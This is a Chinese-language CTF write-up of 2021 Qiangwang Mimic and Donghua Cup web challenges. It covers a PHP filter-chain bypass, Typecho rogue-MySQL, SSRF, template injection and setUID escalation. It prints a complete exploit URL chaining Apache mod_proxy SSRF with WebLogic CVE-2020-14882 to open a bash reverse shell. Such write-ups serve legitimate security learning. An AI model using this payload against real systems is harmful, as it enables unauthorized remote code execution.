0%

2021强网拟态&东华杯wp

2021强网拟态&东华杯wp

最近高强度异度之刃2,摸鱼程度++(我喜欢尼娅,没有大家!),然后还当了三天校赛客服,累死。除了打些垃圾比赛基本上就没干什么了,最近打的比赛质量并不高,没法单独写wp,两场比赛碰一起了还能稍微写点东西

强网拟态

拟态的题除了那个脑溢血hospital找不到功能点外(或者说找到了一个任意文件读但是只能读js的没用功能),剩下的题原题的原题,部署错误的部署错误,只有两个题值得写一下
那个zerocalc估计是个超级逃逸,本身可能是个好题,但是因为部署的问题直接白给(我就说我审了半天找不到怎么回事怎么就被打的稀烂了)
然后还有两个超级原题,复制粘贴打通

easyfilter

这个题还有点意思,两个功能,写base64过的数据,和一个include,但是已经拼了前半截为php://filter/resource=./files/
理论上来说直接拼到resource之后,按照常理语法就不能再使用过滤器了

不能用base64-decode的话,加上这里又进行了超级目录拼接和open basedir,是完全没法打的。解决的方案也很简单,下一份对应版本的PHP源码啦
刚好http header里也回了PHP版本,直接去GitHub上把对应版本下下来,PHP-7.2.34
只要能定位对应处理的源码位置就什么都好说,(幸好在哪里看到过这个东西)
直接定位到/ext/standard/php_fopen_wrapper.c#178
php_stream_url_wrap_php这个函数就是进行PHP伪协议处理的,跳过前面部分代码,看到这里#349

    } else if (!strncasecmp(path, "filter/", 7)) {
        /* Save time/memory when chain isn't specified */
        if (strchr(mode, 'r') || strchr(mode, '+')) {
            mode_rw |= PHP_STREAM_FILTER_READ;
        }
        if (strchr(mode, 'w') || strchr(mode, '+') || strchr(mode, 'a')) {
            mode_rw |= PHP_STREAM_FILTER_WRITE;
        }
        pathdup = estrndup(path + 6, strlen(path + 6));
        p = strstr(pathdup, "/resource=");
        if (!p) {
            zend_throw_error(NULL, "No URL resource specified");
            efree(pathdup);
            return NULL;
        }

        if (!(stream = php_stream_open_wrapper(p + 10, mode, options, opened_path))) {
            efree(pathdup);
            return NULL;
        }

        *p = '\0';

        p = php_strtok_r(pathdup + 1, "/", &token);
        while (p) {
            if (!strncasecmp(p, "read=", 5)) {
                php_stream_apply_filter_list(stream, p + 5, 1, 0);
            } else if (!strncasecmp(p, "write=", 6)) {
                php_stream_apply_filter_list(stream, p + 6, 0, 1);
            } else {
                php_stream_apply_filter_list(stream, p, mode_rw & PHP_STREAM_FILTER_READ, mode_rw & PHP_STREAM_FILTER_WRITE);
            }
            p = php_strtok_r(NULL, "/", &token);
        }
        efree(pathdup);

很明显嘛,遇到filter之后先把filter后面内容拿出来,然后在这后面的内容里找/resource=,找到之后把后面的内容传到php_stream_open_wrapper,感觉就是已经到打开文件的地方了,应该没法打
while(p)这段是处理filter的,看到这里的pathdup,是在处理filter后进行截取的,也就是说是filter之后的内容,与/resource=无关
p由php_strtok_r这个函数产生,C垃圾没有太认真的去看这个函数,但是大概能看出来就是以/来分隔字符串,然后把得到的token进行比较,判断是以读还是写模式打开,都不是就以之前的读写模式去打开,php_stream_apply_filter_list就是在注册filter,就在/ext/standard/php_fopen_wrapper#151的位置有定义

static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) /* {{{ */
{
    char *p, *token = NULL;
    php_stream_filter *temp_filter;

    p = php_strtok_r(filterlist, "|", &token);
    while (p) {
        php_url_decode(p, strlen(p));
        if (read_chain) {
            if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
                php_stream_filter_append(&stream->readfilters, temp_filter);
            } else {
                php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
            }
        }
        if (write_chain) {
            if ((temp_filter = php_stream_filter_create(p, NULL, php_stream_is_persistent(stream)))) {
                php_stream_filter_append(&stream->writefilters, temp_filter);
            } else {
                php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)", p);
            }
        }
        p = php_strtok_r(NULL, "|", &token);
    }
}

这里就是曾经WMCTF签到还是啥题的考点,对filter进行了一次url解码,不过已经不重要了,这个函数的功能就是用|分隔filter然后一个个注册到这个流上。

那么这里的代码思路就很简单,虽然会把/resource=后面的内容作为文件打开,但filter的注册流程是从filter/后开始,并不受/resource=的影响,且对于每个/分隔的内容都会被拿进去尝试注册。所以把我们要用的filter当目录拼接在路径里再跳出来,就能成功的应用上我们的过滤器
(这个操作本地复现其实没成功,不知道是不是不同PHP版本处理情况不一致,反正懒也就只看了这个版本的源码)

不看源码

题目环境还配备了很贴心的报错,随便按点什么他会直接报错显示没有这个filter,那不用看源码也能猜出来是按/一个个注册了。。。所以这个题出的也挺多的

show me your 0day

大概是这个名字?反正就是一个修了反序列化的typecho安装时的洞,跟了半天原来的链,发现原来的链还在,然后最后找了半天,发现原来修的是可以触发反序列化的一个点,直接把那个反序列化触发点删了。那就往后看,发现能连数据库,然后rouge mysql打通

东华杯

没看啥题,有一个go的题不想看,nodejs web爷爷在看但是他说搞不动就懒得看了,并且好像又是注入相关,躺平躺平

ezgadget

没啥好说的,直接给了一个toString的defineClass+newInstance的触发点,classbyte可控,用BadAttributeValue直接进toString,一键打通

ApachePrOxy

Apache最新的反带ssrf的洞,只影响两个特定版本
具体利用和原理直接看p神的文章
Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸

dockerfile就告诉了我们内网有一台weblogic服务器,然后搜一下就搜到了这个get rce
vulhub CVE-2020-14882
CVE-2020-14882:Weblogic Console 权限绕过深入解析
需要先塞4000+个破烂字符,让我们能任意重定向,而问题就出在这,我感觉题目环境本身就部署在一个奇怪的网络拓扑下,也就是我访问这个靶机本身就有一道代理,而这个过长的header会导致那个代理有点毛病,于是,并不是打不通,而是出现了一个奇怪的Nginx机器一直和我说400,点个几十下可能会有一下成功访问上,所以我先开了个本地环境确保能打通再打的远程,一通爆点之后终于弹上shell了

p神在文章中提到过,这个ssrf只是改变了目的地址,我们提交的参数还是会正常的发送,比如post,只要改header并加body就能把数据提交到后端,这里也一样,虽然我们用于ssrf的数据内容本来就是一个参数一类的数据了,但我们如果想继续提交get参数到后端的话,一样是用&进行分割的,而不是将&进行url编码

以及一开始总是400,我一度怀疑是我自己的问题,还专门搜了一下get rce影响的版本,并在某篇文章中看到

weblogic的版本号一般会在/console/login/LoginForm.jsp下出现

确认一下12.2.1.3.0,完美契合

payload

?unix:AAA*4100|http:/weblogic:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('java.lang.Runtime.getRuntime().exec(new+String[]{"bash","-c","bash+-i+>%26+/dev/tcp/ip/port+0>%261"});')

看了看wp,更新一下

oldLibrary

GO题,学弟看了半天和我说不会打我就摸鱼了,没看,结果赛后看wp发现是一个ssrf直接命令注入。
然后回头看了下,功能点在HTML转PDF中,这个是经典SSRF的攻击模式了,HTML渲染到PDF总会想办法去获取到HTML上的资源甚至是执行js脚本,打一个SSRF完全不在话下,我还记得第一次看到这个类型的攻击是在外国的fireshellCTF上,可以说是一个很有意思的攻击点了
进去之后flag没权限,经典setUID提权,用find / -perm -u=s找setUID程序

eznode

高强度摸鱼的后果,这个题前半段是个SQL注入,后半段是个打hbs模板注入,而这个模板注入以前是做过的,在XCTF华为赛中出过。。。最尬的是看别人的wp里写的打这个模板注入的方法的参考链接是我自己的博客。。。。
先是一个经典要求注入语句等于注入结果,之前也遇到过,用一个REPLCAE语句套娃表达式通过
过了之后传模板并渲染,渲染的payload抄这边
分别对应了第五空间和XCTF华为的wp。。。
ssti-server-side-template-injection#handlebars-nodejs